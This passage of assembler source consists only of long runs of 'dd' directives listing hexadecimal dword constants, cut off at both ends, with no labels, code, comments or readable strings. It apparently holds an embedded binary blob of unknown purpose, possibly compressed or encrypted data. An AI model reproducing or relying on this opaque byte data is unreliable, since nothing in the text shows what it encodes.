88F14F5h, 0E806E020h, 22F912FEh, 0F8EC297Bh, 9201F41Dh dd 0CF4DA1E2h, 81FCF731h, 0C415023Bh, 34953240h, 6A47B840h dd 3E14D403h, 0C8B33AF0h, 762A5449h, 0A9DE07EBh, 51F69294h dd 0EC2D6C07h, 67798746h, 3CA71C00h, 0EC6F6EB1h, 9CF401D0h dd 0BA733482h, 0B60464EFh, 6B4F9400h, 3D8E0E22h, 0CCFF00C4h dd 2F312E8Fh, 7C0180FAh, 17E27160h, 0AAD43D02h, 94F700BAh dd 57A9FEEh, 2090F249h, 0CD00C9E0h, 71919CB1h, 0FCAE6D3Ah dd 0AD9D0B86h, 7DDEF2EAh, 0EE06AB00h, 56835h, 177A0128h dd 462E5A8Ah, 65F40707h, 1210E742h, 280213CCh, 808359h dd 21819B9Dh, 0BDE5032Ch, 0AE8B8E07h, 0B770C27Dh, 2EEE618Ah dd 39082664h, 24FF0079h, 13E31BD1h, 1C001267h, 1950EE7Dh dd 5F4C93Ch, 0FF6C3530h, 2D84410Eh, 0F4B2BB86h, 0E60F44AEh dd 0E03ED630h, 53B54803h, 507DCFh, 8A5B5157h, 0ACD5D939h dd 65084B00h, 0EDFEBE22h, 275003Ah, 9CE1040Bh, 94901136h dd 47802603h, 0CF96E5B6h, 22BBB2C0h, 46122828h, 708B009Ch dd 0CD612A4Bh, 0E27F6734h, 959FD900h, 3DC036F0h, 86E400D4h dd 85BC579Bh, 0F300EFDDh, 61FE45CDh, 9ED0FAFh, 6930FD1Dh dd 31440C00h, 8B00BB2Eh, 0FF66D9FEh, 1C3B96h, 8DC93E0Eh dd 0ED7390EBh, 5CACD224h, 7C326C96h, 0D06868E5h, 0E9280058h dd 0CAFFD212h, 9C00A4CFh, 0B8A7A63Eh, 27CEFADh, 0F88FD6EBh dd 0A28346C5h, 6EC03B67h, 0E1E4D11Dh, 8AB84001h, 0C54AAB5Fh dd 19FBF0h, 87384D6Ah, 0AC5A8934h, 23D42B00h, 0F241B7D2h dd 0A65900DBh, 0C08553EFh, 6A15E849h, 0AC2117h, 924B9D12h dd 160F2041h, 5365ED6h, 0D06073ACh, 50DAF654h, 0D1AD1E00h dd 3BE3B381h, 9171079Bh, 2041B944h, 0D00FBD83h, 0F2005075h dd 979EBEDFh, 6CF09Bh, 7CCA7952h, 4C558EF1h, 0E5A26100h dd 3130AF01h, 3EC10010h, 0FB2B83F4h, 340FA3C3h, 0C1E8652Dh dd 9B784256h, 6B5C9874h, 9C0020AEh, 0CCB9576Eh, 0BE03977Ah dd 880A9430h, 7FB114A4h, 0AF1014C5h, 0B94600BEh, 58688817h dd 36FC28CEh, 7BC000A3h, 199C2057h, 491FB3B7h, 0D9425DACh dd 40A75129h, 90CBD6A1h, 0F4201337h, 90571875h, 4430B922h dd 0A8A4604Ah, 60D17438h, 2E19094h, 7D0136A3h, 61345B65h dd 398CB7D6h, 0AD1DEAEh, 9765A51Fh, 0D300741Dh, 2C2E5ABh dd 5CAC5C33h, 5EEA1C01h, 0E0A69513h, 6000DC6Eh, 87E3BA7h dd 97C575h, 0A2726D6Ah, 0F21AB943h, 0A11FA6F0h, 1E005525h dd 0E653FE0h, 0F578008Bh, 680F79E6h, 0FA0291A3h, 3D234EA6h dd 659160C6h, 888317C4h, 0C0071D40h, 0DF994132h, 6800FFECh dd 0E1143997h, 73A105E2h, 737DF0h, 5915E54Ch, 0E4ED3FEFh dd 30882200h, 0AA74D580h, 1D7A0038h, 0CFD34955h, 93CA908h dd 0AA2802Eh, 9D8A7869h, 74FEA79h, 0E12F7C9Bh, 74A3113Bh dd 0A040C64Eh, 0A654D4F2h, 0C90045E8h, 0E15EC503h, 2A61D2AAh dd 22A8A997h, 0D1008902h, 0BE7E3718h, 77B59A2Eh, 41FB0177h dd 64D36298h, 83288086h, 0CD33E9ABh, 9F68C74Bh, 8AC4C0DCh dd 3024696Dh, 66061C96h, 1259B52Ch, 4DC4DF82h, 0D021A128h dd 0F401570Ah, 0D42C89C6h, 96CFA3C0h, 1DC202B1h, 0FCBD9942h dd 0E3639380h, 180022DEh, 0F96AC0DAh, 0EE818BB9h, 0BE190F2Ah dd 0AB00BC33h, 0D4CABFAFh, 12497060h, 165A841Bh, 0AA7885h dd 0CF272DDBh, 6F092AC4h, 8EBFD391h, 0AE2F49B4h, 214FDEB8h dd 0C643A014h, 2500FDAh, 10EB6CAh, 6884482Dh, 200D4ADDh dd 0B6631960h, 6133135Fh, 0AFBE007Ch, 0CC978488h, 404B5330h dd 0C015AB81h, 0F9AC2231h, 9806F4B1h, 91192478h, 95DF0158h dd 0C432E79Bh, 0AE74E0D9h, 2DCFD8A8h, 0F97A7B0Eh, 0FCBB86F0h dd 39663D20h, 0D4159C4Dh, 2B0080A2h, 6F1953A0h, 4000B35Ah dd 0ACD69399h, 75159794h, 8AF60CE4h, 67315FD4h, 0E170E500h dd 866A462Ch, 1C5B2D37h, 9515E75Eh, 0DC2D11ECh, 86088124h dd 0D1182982h, 0AF2E6625h, 36DC20D0h, 0EBA94BD6h, 188684E1h dd 71A55E90h, 0F333E001h, 0B645627Ch, 0F1F2E199h, 4E498392h dd 98E1F3A5h, 60B1225h, 0E5FFCF7Ch, 2728917Fh, 2C837C65h dd 12786CF0h, 6F420200h, 39C3F989h, 1349013Eh, 0EC5A77CBh dd 0C940923Bh, 90E68847h, 0CB0A688Ah, 668AF0DEh, 7C196835h dd 0A1BC0B68h, 6B0FA444h, 249E880Eh, 4480B55Dh, 2293C6CEh dd 676A85Fh, 0F523780Ah, 0E00A94BCh, 98003877h, 0AC3E677Dh dd 39173E4Dh, 2FCA0B00h, 0C0E0CEBCh, 30A43892h, 94AD742Ah dd 0DB763002h, 0F8B56496h, 358203C7h, 28633C42h, 6C0B4FA0h dd 2315874h, 0C3C7115Eh, 50CCDEE9h, 350A1B5Fh, 381D18F1h dd 5D806F14h, 81CED2B4h, 34E020BAh, 4D9ED000h, 518E0641h dd 950B0656h, 21EDAF22h, 2BB18F16h, 331ED400h, 30953AD9h dd 32593EF1h, 0D700A727h, 2E8C201h, 19D09F6h, 95556977h dd 8E54FC10h, 8037AA28h, 160B578Dh, 416266D8h, 0E32818B7h dd 23138BCh, 636ED15Ch, 0C31A75C8h, 9AA6F810h, 76C4042h dd 3279FAAAh, 0D0188411h, 59A020B2h, 54215F20h, 2244006Ah dd 16E038C9h, 49C0946Dh, 590BA75h, 14E7C42h, 0D86785B8h dd 87E5E3FCh, 88A94F41h, 1E1BD83h, 4B5DABA1h, 809538BCh dd 378E8211h, 0C3B9D81h, 5BD8F851h, 426139A1h, 0ABEE308h dd 21065186h, 10C00859h, 25608B2Fh, 3C01E3AAh, 80A1C26Ch dd 0E3508D95h, 88543978h, 81882590h, 40D0E92h, 31209C74h dd 0E9EBFA85h, 9E4B7908h, 363A3A4Eh, 0E0EC4A2Ah, 0F4A103E8h dd 58494590h, 0F130A1F6h, 7D08F150h, 1DA1C9Ch, 148E7A8Ch dd 79030D2Ah, 0D828B6A4h, 2F5284FFh, 0D90A0374h, 0EB87B101h dd 0AE2015F2h, 690098E2h, 73D3BA28h, 93339A41h, 0CAA18FCh dd 0FF032F29h, 6100F5D1h, 0BB5F147Dh, 1F663Ah, 0AF54886Dh dd 0B1E708D8h, 944AE82Ah, 61EBAE30h, 0D9FBA0h, 0BA870271h dd 7FA6A888h, 0D7BC7E54h, 0F8127491h, 98B0DA1Ah, 884A1144h dd 29CEF8AEh, 0A3E9C0E0h, 41DC8Ch, 6063522Ah, 8864F92Dh dd 0FA223092h, 9F130054h, 0FB74382Fh, 4800F2EFh, 0A9B64DECh dd 3A870CDBh, 3C00F4CFh, 250A165Fh, 6D0C8B37h, 71FABA85h dd 12E900B2h, 0B93B7728h dd 9700750Eh, 54A64125h, 24E8846Ch, 1303987h, 47C4E78Fh dd 887FE30Fh, 206C5853h, 305D488Eh, 0AE63AB01h, 4D58925Eh dd 829480F0h, 3755450Fh, 8DC31799h, 534C037Eh, 0E1503EDAh dd 35400AC8h, 0F88740FFh, 0C09E9024h, 0AF406644h, 0DFCEEE9Fh dd 805819C8h, 0EDC215ADh, 9B6151A4h, 0EB16ABA8h, 8A451C40h dd 3E342967h, 0FEF11E8h, 60C30825h, 0E340CA96h, 7109102h dd 9006FAFDh, 0A6C7F7B6h, 21F9DE66h, 6EA80DF1h, 83BB9839h dd 1A0D2268h, 788D91D7h, 0E18C3FE9h, 3C79EA49h, 61116136h dd 8AE474F8h, 8222E881h, 6F2988A0h, 96608A0Eh, 0B2F98384h dd 47A8BE85h, 8400D7D4h, 0A07A2228h, 0E51EAB6Ch, 2888F6FFh dd 4C348A50h, 0A480646Dh, 201B5974h, 601E960Ch, 4919D2h dd 45637DDDh, 8570C979h, 16CA8A03h, 0A1AAC094h, 0A9854E14h dd 0D27793Ch, 0ECE13960h, 56023AE2h, 6E06D73Bh, 0A40C463Fh dd 41EC44D0h, 5352F500h, 2754F979h, 0F7D324C0h, 611A8890h dd 228AE0A4h, 52001CBAh, 0A480A920h, 0A16D0170h, 5009A24Dh dd 76506260h, 0DC493864h, 67F1F8DCh, 50E6115Ah, 3AADD8ACh dd 0DC4B1D24h, 58054193h, 885D9560h, 7A2490C5h, 0E3CC8300h dd 4C3105B8h, 30D22436h, 58C6C008h, 0F6628B00h, 99BAE556h dd 0D8024497h, 447E08E5h, 27F32246h, 71077E60h, 0F7392581h dd 8052F0F2h, 0FB1E4560h, 155100FFh, 7A7C9634h, 480ADE8Ch dd 0F816AF63h, 2827BA93h, 9CE95C00h, 0FCC548D4h, 334C2000h dd 0E7C6F9E0h, 0F14A79CCh, 0C4678991h, 6A14476Ch, 0EE8B540h dd 1322069h, 0ABE460ACh, 0DAE33989h, 20F3D410h, 84955944h dd 40F6544h, 193E6CD2h, 6D1C9173h, 0A0301528h, 1449C1F5h dd 0F4AF0982h, 0A0757F80h, 8D02F888h, 2B7D36EBh, 65E040FBh dd 13F52C4Dh, 0BBAB804Ch, 0D9BE9DD8h, 0F1E27507h, 0E8DA9209h dd 0E4631662h, 0E4AE341Ch, 0A136C061h, 9500DFD0h, 0CEF82680h dd 26C477Dh, 1386DEE1h, 38C05F79h, 8D895EA9h, 0BF988084h dd 20E496B3h, 0E841DA29h, 0A4200396h, 4A83ADDFh, 0BE4F8A4h dd 5C10C9BDh, 8C9824D3h, 44395360h, 8B9CAE0Dh, 0D4481937h dd 3EAF05B2h, 0EE63DADh, 9262A494h, 0D0C13AFBh, 8002145Ch dd 428472B8h, 0D060B3C4h, 3D7E3042h, 6C85DE34h, 48A5C9BBh dd 281FA84h, 9151C5F5h, 95A2CA20h, 7010FEE0h, 0CACB9901h dd 0EDC6165Bh, 9CC2A054h, 19322009h, 3A3F026Dh, 736F0097h dd 0B0D8339Eh, 0E0870082h, 6C77ACC2h, 8B2EEC86h, 9CDC856h dd 205D2442h, 57AC81F8h, 2B800CBBh, 5D5A7FDAh, 0D36D1F3Fh dd 0F504BA4Bh, 0C54EB3EDh, 12C45FF0h, 0D648900Dh, 0B70B8F8Ch dd 8075A0A6h, 8A3F4144h, 9521C914h, 28345018h, 778E110Bh dd 0FF3824CAh, 8CC6885h, 381A04F9h, 45BAC4Ah, 224093DDh dd 5BB1D94h, 94B944FCh, 75000D11h, 0EFB30F17h, 8649AD54h dd 44B52880h, 49906030h, 24C14168h, 0BCD3F2Ah, 0B8B05872h dd 4000018Ah, 9991D67Ch, 5FB2632h, 318349Ch, 7E8CCC6Eh dd 0D9519A60h, 3EC25F87h, 0B424F197h, 1D414760h, 26B43608h dd 0E69164F3h, 4FF0721Ch, 8892D8A8h, 6099CF94h, 0C7B19090h dd 6E430008h, 0FC2903C9h, 0BC568E8Fh, 1CCFBBC0h, 3BB69216h dd 234C1442h, 6145154h, 61EED0E3h, 7FA071A0h, 0D987100Fh dd 0F25842B5h, 2454512Eh, 2C9969F4h, 7A37F02Fh, 7C269094h dd 96276108h, 8ECC23ACh, 745178E2h, 0F0015826h, 0AA37E3DDh dd 6CA3E044h, 0A2183600h, 49580E22h, 540E74A6h, 46CD95Fh dd 34C05C74h, 0CDB98F6h, 0DD92647Dh, 6806E3E9h, 0A91B169Fh dd 0A4B2CC1h, 233081CCh, 2234BED2h, 55650880h, 5A9141h dd 0DAC6A723h, 3F78B4B8h, 5CFC0FA1h, 2CAC48Eh, 0C8A50068h dd 0F07D8097h, 76BF860Ah, 0E364F058h, 7E2F3740h, 4A7AF0CCh dd 900A773h, 6729B133h, 99A7187h, 37C093E2h, 0C295A090h dd 19CDB914h, 14D43E98h, 8E682DBFh, 0E5B198F1h, 82770004h dd 0E236DCF3h, 5F0410C2h, 83233D93h, 971FA980h, 11D0B1E3h dd 482F013Eh, 8218FB1Ch, 18A0ACF2h, 7E88AE36h, 11490BF3h dd 560790C3h, 8654FAFDh, 0B009BC3Ch, 15ED210Fh, 6B24941Fh dd 285C04B1h, 88645D49h, 44FAE4Eh, 41EB616Dh, 0B0528D22h dd 0B3A62009h, 0E4F2C7B9h, 44376E02h, 579159A0h, 652EEB60h dd 1462D6FAh, 22F26169h, 4483C716h, 6900E7AEh, 15E86559h dd 52144Eh, 0E82D92Ch, 0D8F8A35Fh, 6D58ABFAh, 0B55483CCh dd 4180FFA5h, 202BB0Ch, 0C2860821h, 84C4B3ABh, 4E6BA800h dd 51EFD412h, 815969B5h, 3E4D5001h, 27131295h, 85C79022h dd 920030B0h, 15B7EFEBh, 0B20A719Ch, 31E229Ch, 5FF32F0Ch dd 70791ADh, 8B4186BFh, 9C78207Ah, 847A09A0h, 0B86E2C02h dd 64DE0E6Dh, 485F58A8h, 9FBFEE80h, 7B75A931h, 82554D09h dd 1AE029CAh, 771F40B8h, 382425BCh, 40527CA4h, 0D1F7345Fh dd 0C44E002Fh, 0B196D9AAh, 27004A84h, 3FFC3543h, 681C5A8h dd 68D2B288h, 0AB81F923h, 8089A4E4h, 0B0257824h, 0AFC66Ch dd 80EDD132h, 43CA7D0Ah, 5817CEE2h, 0AC4703D2h, 0EC8A6F3Ch dd 4488D847h, 819A43EDh, 2CCCE17Ch, 8C061092h, 9885940h dd 2D6507C4h, 0B2A90766h, 4C79AE06h, 100AD88Fh, 94487048h dd 4084F18Ah, 9D8CF467h, 835B4F03h, 0C08DB9D4h, 125F14AFh dd 8018E010h, 0CB4ABC08h, 67203C0Eh, 0E0227711h, 9A00CEE5h dd 3289CC8h, 0E5AE1F82h, 4171D100h, 4A664DBCh, 0ECAC0F67h dd 0A440FEB0h, 7768A8B1h, 1938BE27h, 0A0F26000h, 51E6C7B4h dd 0CF5B0004h, 97FB2311h, 0F90BA2EBh, 81A960F5h, 6EFC01D8h dd 16C34828h, 0E90D5114h, 8802623Ch, 0A1018C66h, 0A7651826h dd 8CB0DE15h, 0CC008851h, 0F22D70CAh, 0B9EA0Ch, 75A2AEDAh dd 35788494h, 0B660249Ch, 64C71C5Ah, 40ADB890h, 5EC211EFh dd 0FA00343h, 81120D38h, 8C9F1F98h, 0E823BD01h, 64151602h dd 7B605442h, 11682C98h, 0BA22123Eh, 9A24FC20h, 6D473C27h dd 0BDE89D00h, 989E7170h, 73D22909h, 0A8D0100Dh, 86A077Ch dd 0E0BA3B2Ch, 0DD672128h, 1ABEC325h, 0D7C4070h, 158D164Eh dd 22AC60FEh, 9094845h, 686C441Eh, 0CEAC608Ch, 23204D99h dd 0E20E1CE0h, 1EB09C00h, 804BE1F7h, 0B1C41CB2h, 5DAE3D7Dh dd 780A66B4h, 7C41B94Bh, 0B3B819F3h, 5210530h, 110A89Ah dd 13E8352Eh, 6DAC600Ch, 5F0804E9h, 0A1CAFCB2h, 4D8038E0h dd 1BF5C5E1h, 0E301FDDEh, 43DC82F3h, 3DC1E92Eh, 0E2F028A6h dd 204C3995h, 0F8282C94h, 0D9119742h, 93207CE1h, 0D718C458h dd 248052EFh, 0B0DFE8C1h, 0BA0C1274h, 0B24C74B7h, 0E384444Ch dd 0A3E7E222h, 1B910F08h, 0B662FBD1h, 9C0FEF9h, 6AE07E03h dd 79CC1E31h, 22D25FCFh, 0A0C4F05Dh, 3D5B5100h, 775C59B1h dd 6AD5004Ah, 0B874E12h, 221DD0F4h, 99757853h, 6D1AF004h dd 0D024B4h, 0FA728BE5h, 1D5F91E2h, 0B1C86515h, 4E9859FCh dd 0AA316C20h, 1B780104h, 0D68D1316h, 8008392Eh, 0B9797CC1h dd 27E4127Fh, 8A740B36h, 31ABC0B9h, 0C2B03884h, 0ECE89168h dd 0E654A210h, 0B7E40078h, 4CDEBF4Dh, 4246D5B3h, 0BC3A0D00h dd 0BD5EF790h, 45CC2F00h, 3051D738h, 351C22ADh, 502CA5ECh dd 26774B4h, 7887892h, 25D8E3ABh, 1FD55580h, 0C616AA04h dd 908C0B62h, 113D60F1h, 13436512h, 8001B23Ch, 39FCBE4Eh dd 4FEE02AFh, 0F9443234h dd 0F5B07F20h, 8CF63933h, 0C619B280h, 24C70C3Ch, 54B83953h dd 8605BA2Ch, 35D0A956h, 0AF10FC45h, 2014CC72h, 3A252D07h dd 30869500h, 0E78A646Eh, 0ACCB01ADh, 1D6F21AEh, 0AF83D0A3h dd 22D96C00h, 97A65C7Bh, 0C8021EE2h, 3D80399Eh, 654FCFCDh dd 0AF3E3F87h, 12D40721h, 0A77082D3h, 24CA1901h, 34636AEh dd 1C83D1D6h, 850059E6h, 78527A42h, 60443AF2h, 8F63189Ah dd 0B060CDD2h, 0DA14D129h, 0B11C30E2h, 20A48639h, 56FD3600h dd 0EA44DEADh, 80D463D5h, 80042AEh, 0BC732A83h, 1D7508C9h dd 0BD84C3A8h, 683E7F01h, 81DE3AD4h, 0D2A7B4B1h, 718FABDAh dd 0CC069ACFh, 0E184943h, 28D1CD2Bh, 8DF64h, 0D0E6C05Ch dd 5F0B246Eh, 816A972Eh, 9D2A498Fh, 301C389Eh, 0B97795B1h dd 0B3746600h, 1580CC9Eh, 40A641ADh, 839DA8D3h, 61CD59CFh dd 0BDD0AB99h, 1F4910D3h, 41BE0022h, 406E7881h, 0E7FD0015h dd 0B679B23Ah, 77579437h, 55DC0180h, 71FE07ADh, 195BC8h dd 2F7F43B5h, 0C6FFA37Ah, 85A18E00h, 63A09D30h, 7CF0310Fh dd 8FCE0668h, 805B8EF1h, 7D2B544Dh, 3660087h, 0AF65908h dd 0F5181A2Dh, 5BC97348h, 539C02F0h, 114F72EBh, 0B5BAC8A0h dd 8252D9A7h, 7029002Ch, 0DDA198E5h, 16843A93h, 49227C9Fh dd 6D80EA6Bh, 48A87E64h, 0AE8C3E54h, 0D9D94163h, 0ABCCB026h dd 0A31B00D4h, 10A7C787h, 0C0338EEh, 9C8EE9B2h, 0E478409Fh dd 0BE1C8873h, 6725C8A8h, 0CB7D40Fh, 0C1608C1Dh, 0BB3A1ED1h dd 0C7124CAAh, 3038AA9h, 92C550FCh, 602953D2h, 47159603h dd 2F98F23Bh, 0A031A848h, 79BBB1A5h, 9D910810h, 8C502630h dd 3BEECD69h, 78C91828h, 0CA390E0Ch, 0CF33D271h, 0C6361B2h dd 0B9F36440h, 0B0C30F71h, 0C607CFh, 0B3BF0A31h, 3047147h dd 0B062D600h, 0B808F1Bh, 5F0E01D0h, 0DD3112CAh, 81C858D5h dd 0BD066418h, 70F2E59h, 0E1688C77h, 0D5B95CADh, 9B2FCC02h dd 4E804D3Dh, 7AA07B0Ch, 0DD3047Eh, 80F176E3h, 698E6CFFh dd 0C57A6104h, 0E4832359h, 3A20E426h, 0E4187C33h, 1B49D412h dd 0ACD20098h, 3217F795h, 23FEEF47h, 88D6A02Ah, 913FE136h dd 9AC744F8h, 8FD92905h, 0A43211B7h, 81108131h, 20211BD0h dd 0D8512CF2h, 2CB46E29h, 84B21C8Ah, 4D6287BFh, 2F40C5E8h dd 281BCCDh, 0D1F6F309h, 1884462Bh, 6DA34094h, 0E5833B0h dd 6C8071F1h, 0E380B4F4h, 0B37E9FFh, 1B3436F3h, 0A1490E26h dd 0B18ACF3Ch, 546228h, 0B0F5F6EEh, 2D1DEFD3h, 0CAC0222Bh dd 0B42FCF37h, 0AA1C300Fh, 0A4DDA81h, 4B3E9B0Fh, 9396E4Eh dd 7B8900A5h, 92EEFBE4h, 1CF626E8h, 22799E64h, 7B2A844h dd 684C24Ah, 342F03B1h, 80D513FBh, 9BA855E9h, 20B7DF19h dd 9510A9F8h, 0E3005E61h, 0E6339903h, 1BDE47Eh, 44CE9F87h dd 564B437Fh, 0DC913890h, 0C1F31A80h, 9B6C2A4h, 463F0147h dd 40CD2C24h, 0E0899F4Eh, 0D380000Ah, 4301772Dh, 7512A0ADh dd 4474F8Ch, 0C18C4BA8h, 9DD407E3h, 99D29046h, 522A14B0h dd 2000E677h, 0D9C8C30Ah, 0F9DE5Ch, 0AB92FC6Bh, 70630777h dd 892C48CCh, 0D8F389C8h, 65041C72h, 92E9C741h, 5F28C091h dd 0D11F7983h, 0AA896860h, 0BCCB7093h, 28B67531h, 6408A194h dd 9FB42A48h, 48214512h, 0A98B86AEh, 580E3CAh, 8B3BBA2Ch dd 0A25C9606h, 49202F3Eh, 0CD261C6Fh, 0D0AE490Ch, 0A141734Ch dd 0D003CF01h, 0C27AB914h, 0A11FD2D8h, 2612A8BCh, 0BBFF3760h dd 0D5665500h, 97CB85Ch, 0CD9226CBh, 4D280C08h, 0EC00DC99h dd 0A081E2F5h, 0A8FA233h, 0AC4A1F94h, 0B9FC0868h, 95E42CAAh dd 0A79D11C0h, 0CEE7F4h, 2633F029h, 96693AA8h, 0DBB03C54h dd 0E1A688h, 0BE3EE970h, 0D25E793Bh, 0BBC5807h, 7B31E8B9h dd 8C26B5C9h, 0A4787F00h, 0F9B2607Ah, 0C86BAD02h, 8A9DD675h dd 3500D490h, 0D45C7E11h, 0A44BE6A8h, 104045B4h, 67160AD0h dd 0E39B9C00h, 9ED6E994h, 10DDE634h, 149AA673h, 0C3B02C87h dd 0A8BABFA8h, 12BD4B14h, 44D4DBE6h, 41D02ACh, 8958753Ch dd 0C82C0519h, 7F40DC1Ah, 3807CDh, 0ED365DA4h, 7194C142h dd 2B508D01h, 82D89A59h, 0B360A848h, 854080E4h, 0F09307B8h dd 380E5990h, 0A0A286ADh, 0B5FC2896h, 74A4AEh, 0DAFA605Bh dd 442F490Eh, 0A064D200h, 9759C227h, 0BD240A18h, 388412h dd 7AC7B7CFh, 0F49A4FCBh, 76A09410h, 0B0AB2114h, 3563D505h dd 2F449CBAh, 44C15E04h, 0D8C9B9C0h, 88ABCE31h, 5909000Ch dd 0BDFEBB7Eh, 74A18B0Bh, 0DEFB8325h, 87F830D0h, 7E6BD366h dd 0A89E81C4h, 0D490AE49h, 1D785393h, 87CD4D3Fh, 6EEC3A7Ch dd 0CCDDEE90h, 29136926h, 48451007h, 808CBB94h, 108F1AD6h dd 31FB0990h, 9F80FA65h, 2FEBB7A6h, 60138970h, 0D846FE35h dd 0FA397AAEh, 0DB8C02F9h, 0C05234A2h, 4544C044h, 677700CDh dd 0ADB41ACEh, 0EE01FA88h, 0E4FE4930h, 0C2568F6h, 0FF00A873h dd 0B780A106h, 6D004DBCh, 0C83DCEA5h, 0C1E9C2BEh, 0D8CC42B0h dd 0F8239Ah, 0A07A34E3h, 93EBD34Fh, 0D12F8440h, 50280682h dd 0BA7F00F9h, 37E834BFh, 215D09Fh, 22CC812Ah, 0ADDD0096h dd 8C9DD3DFh, 1D04482Eh, 0FC1EF929h, 960060A6h, 17A5DC39h dd 8004C7B9h, 0D1050A78h, 0AA500816h, 0A95C9486h, 0F330B081h dd 64928917h, 0D28774A0h, 9C1DF6FBh, 10A5E646h, 917D6284h dd 65E2809Ch, 74287590h, 0FAC50500h, 5D10566Fh, 60204CCh dd 81486D9Bh, 8579DF8h, 0C2438844h, 7A391B00h, 84A3CE01h dd 0A5AA0454h, 958B6259h, 5AE8C8F4h, 0BD42E300h, 73E20E07h dd 65DF0099h, 346310C8h, 0D2498546h, 0CA08C0CCh, 3AD00D67h dd 5800FE64h, 75355680h, 2127F3Ch, 1460AF55h, 0E361C1h dd 85A7056Eh, 8B8110D5h, 71769FF0h, 22644744h, 2738BC35h dd 0F9ED0224h, 48E4A3C9h, 0CFAC1C08h, 0B481A221h, 0CC178E04h dd 1FE0F405h, 4FCE7200h, 85AD7BB2h, 0DC1D580Ch, 0B3E3AC80h dd 5C0F13B7h, 60F33401h, 6D511D5Dh, 0D9CF26D8h, 4B948BD0h dd 0A5E30810h, 0CCD1F70Bh, 10402BB5h, 17B6E770h, 30925055h dd 0CC73C9E8h, 46A9D604h, 0EC806548h, 0F5979429h, 78BBE18Eh dd 59CC00B0h, 0AB367AEDh, 0CFA50132h, 0D4E2EC24h, 83389385h dd 180B0825h, 608010DEh, 7CE20165h, 0AE804654h, 0C9198FBEh dd 0D906C415h, 5B544C97h, 7EA08740h, 6D2CAB44h, 69608C5Fh dd 408F8Ch, 82084132h, 72994622h, 0F431E271h, 0B02B49D3h dd 764C8214h, 18A48B2Bh, 0A2A308h, 2326D30Ch, 35CF645Ah dd 82FB0316h, 550D7C60h, 70E627h, 458F71Fh, 0AAEB89ADh dd 51767A04h, 60A44D22h, 189D0785h, 809A30E1h, 8A543468h dd 8406AB3Fh, 99FCC836h, 7054B4DCh, 7FA4009Ah, 7636FB8Ch dd 0F911AD25h, 2924DD38h, 1B0C4094h, 1E006A86h, 939EF078h dd 2C438404h, 14A5776h, 0D6EB778Fh, 78A032ADh, 375DE38h dd 61736F3h, 0C68DB8E8h, 3BDF016Bh, 8994FE53h, 168FC4D4h dd 0C20180FAh, 0D0E3B0DDh, 0AFF55DA9h, 0D2092862h, 0C04E4028h dd 0BC3E700h, 3A195EC8h, 2CFC4918h, 28A00627h, 36F7C546h dd 0F560D9A0h, 0B6FB0F16h, 44793C48h, 182541BDh, 0B2F105F9h dd 0A10424h, 0A09CB3C3h, 7CFC4FC4h, 182C78B1h, 4C1C9658h dd 0D60476EFh, 0EBB35FCCh, 923630C3h, 85F1805Bh, 3C2FE2E3h dd 0F2187312h, 808779B8h, 542D7891h, 0E04C3C19h, 0CF2F0801h dd 31CEE91Dh, 90E01780h dd 0A6A4073Ah, 3C78732Eh, 6D0CB060h, 0E1FE027Ch, 0AA1E5834h dd 4822D0C4h, 2A6425A6h, 0B40648A4h, 57795680h, 29ED5E14h dd 0CC282690h, 1902204Eh, 0EAD41420h, 289B1Dh, 26B27794h dd 30009537h, 9743EA5Eh, 0AC438E3h, 739CCD0Eh, 79F442E0h dd 104042Bh, 0A749280Ch, 0A2988049h, 0B6BD2050h, 0E6011EBCh dd 3DC71CD1h, 5187595Ch, 10D9A364h, 0F2D0ABEEh, 8F1894A4h dd 0F1417329h, 0FF4C0041h, 0B48D974Fh, 8800CA92h, 0C593A449h dd 24D20B5Ch, 93C2DB7h, 186652A8h, 0CF66A8A0h, 6424F7B8h dd 1F44A0F7h, 1DEC4E4h, 2BD00CECh, 93850DB6h, 742006D1h dd 7E2224B4h, 0BA1213A9h, 9104C9A1h, 3702C629h, 347301CAh dd 0AB913B40h, 2C6F5A26h, 0EC98F293h, 10B91Ch, 0D130E0C8h dd 0F700521Ah, 887F3A28h, 269905Fh, 5B8DD055h, 0A84CCD58h dd 1B7A0222h, 81CB310Eh, 2042E0E3h, 282C48CCh, 650E8084h dd 611114D1h, 0E35FC00Eh, 0D45D842Ch, 86121F81h, 9DF8ECC0h dd 6D6F5003h, 0F81A10D3h, 0F7FDB75Dh, 14CC8188h, 4C717866h dd 0FF803828h, 45DA2A9Fh, 0BB120500h, 9ADD3C5Bh, 72EB018Ch dd 0E9FBE0DFh, 461C24A7h, 67AE5C44h, 0C06C597Bh, 3371BB80h dd 0E84A1600h, 4DC84B9h, 127C090Fh, 28B8459Fh, 501CE6C1h dd 0E586D6A3h, 22A14924h, 0D900202Bh, 313004E2h, 2C9DC856h dd 50F4E946h, 5D00500Ch, 0EADC29D9h, 3B77F90Eh, 138444BFh dd 0A1C0481Ch, 2CD461A4h, 0FFEBC040h, 0E8AB62h, 1872F620h dd 4E8B4336h, 8ADE7B3Fh, 442A886Fh, 1C608212h, 7F8C2CF1h dd 4907237h, 9F541F20h, 96F704AEh, 8B680E52h, 24E81149h dd 1C74579Bh, 0D940AB00h, 2049DEEAh, 0EC5E0942h, 0C0188FD2h dd 4B48AC30h, 5DCA0004h, 45719E0Ch, 2191C129h, 201135FDh dd 0BD13DDA6h, 5897CFD2h, 8BA09D50h, 182B6B5Bh, 0B4840C1Ah dd 89BA4976h, 62C8C408h, 839F20E3h, 3DF8D621h, 0C4DC5930h dd 4B7A2960h, 0ECB8101Ch, 588700E8h, 0ADD9A6F6h, 480B9F31h dd 44CB468Dh, 663C0054h, 78B4C4F5h, 61CB6126h, 4F4A01E8h dd 94FC1DA9h, 395700ACh, 15F1F389h, 9D1C019Fh, 0FDC3CB52h dd 0CBD8E38h, 80CD81E8h, 2324B0E0h, 9B0C3816h, 1563684Dh dd 0D874FC07h, 232BEB01h, 22B17AF8h, 0AC5C50B0h, 3030E389h dd 28871A1h, 0D46F8F99h, 2B20D307h, 18A5CFFh, 0C9753B2h dd 2217305Bh, 0B1D5005Ch, 588BC1D2h, 0CB544875h, 0A83BFE05h dd 80A027A1h, 4E4A7DD5h, 0CB59DA00h, 8F876018h, 0DB5D04EBh dd 0B27428CCh, 0B91A0188h, 8123A97h, 0F2299DCh, 0BF5D3BFAh dd 9B09E8D5h, 7440BED8h, 0B1005C16h, 0AACB5E36h, 7D7DEAFh dd 0BCF63ECDh, 8C87D414h, 0F900E924h, 0DAE5D04h, 0E30B8C0h dd 648036C6h, 0CD4C2CB6h, 0E601A5F4h, 0B39D5053h, 0EB106128h dd 5530FF43h, 3ED1EE4Ah, 0D0C90B8h, 0C912D47Fh, 